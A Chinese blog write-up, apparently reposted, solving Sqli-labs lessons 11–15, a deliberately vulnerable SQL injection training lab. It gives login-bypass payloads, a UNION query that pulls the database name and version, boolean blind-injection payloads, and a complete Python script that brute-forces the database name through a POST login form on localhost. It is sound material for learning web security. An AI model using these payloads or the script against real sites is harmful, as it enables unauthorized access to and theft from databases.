欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

程序员文章站 2022-05-11 12:05:48
...

第十一题 报错

这里写代码片

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

一个登陆界面

这是登陆成功
Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

用户名输入单引号报错

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

猜测是

select * from users where username='$name' and password='$password'

闭合

select * from users where username='  'or  1=1 #  ' and password='$password'

要将后面的and注释掉 不然语句就是或者 1=1并且密码等于这个了。

payload就是

username=’ or 1=1 #
闭合了前面对用户名的判断,注释了后面对密码的判断。使用 or 或者 1=1 肯定是对的。就可以登陆成功了。

看到页面上面有两个显示的用户名和密码的,但是还是要使用 order by测试下查询了几个数据并显示

确实是两个,order by 3的时候报错。没有第三个字段当然就不能以第三个字段排序了

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

让其回显数据,直接

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

第十二题 双引号报错

双引号报错

这个颜色真的辣眼睛

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

根据报错信息

猜测应该是 加了括号

select * from users where username=(“$username”) and password….

直接闭合 双引号和括号

username

")or 1=1#

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

闭合双引号和括号在 1=1注释密码~

uname=") union select database(),version()#&passwd=1

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

第十三题 单引号报错

单引号报错

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)
闭合payload

')or 1=1 #

or (substr((select database()),1,1)='s'

可以布尔盲注

payload

uname=' )or  (select substr((select database()),1,1))='s' # &passwd=1

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

写个脚本

获取数据库名长度

uname=' ) or length((select database()))=8 #&passwd=1
import requests
#uname=' )or  (select substr((select database()),1,1))='s' # &passwd=1
url = "http://localhost/sqli-labs/Less-13/";
name =""
database_length=0
#正确的话就存在 flag.jpg
database_length_payload = "uname=' ) or length((select database()))={0} #"
database_name_payload = "uname=' )or  (select substr((select database()),{0},1))='{1}' # &passwd=1"
def get_response(payload,value,*args):
    if len(args)==0:
        payload=payload.format(value)
        data = {'uname': payload, 'passwd': '1'}
    else:
        payload = payload.format(value,args[0])
        data = {'uname': payload, 'passwd': '1'}
    print(data)
    html = requests.post(url, data=data)
    if "flag.jpg" in html.text:
        return True
    else:
        return False
for n in range(100):
    if get_response(database_length_payload,n):
        print("[+] database_length is {0}".format(n) )
        database_length=n
        break
for nn in range(1,database_length+1):
    for v in "qwertyuioplkjhgfdsazxcvbnm":
        if get_response(database_name_payload,nn,v):
            name =name+v
            print("[+] database name is {0}".format(name))
            break
print("[*] database name is {0}".format(name))

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

第十四题 双引号报错

双引号报错

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

闭合绕过

" or 1=1 #

//写了一堆是绕过登陆的。。。。应该获取数据库信息才行~!~!!!

十四题使用十三题的去掉括号,单引号换成双引号

修改payload直接上面的脚本跑获取数据库信息

第十五题 单引号报错

单引号报错,还是之前的脚本修改 payload

Sqli-labs11-15 (附盲注获取数据库长度和名字的脚本)

相关标签: 脚本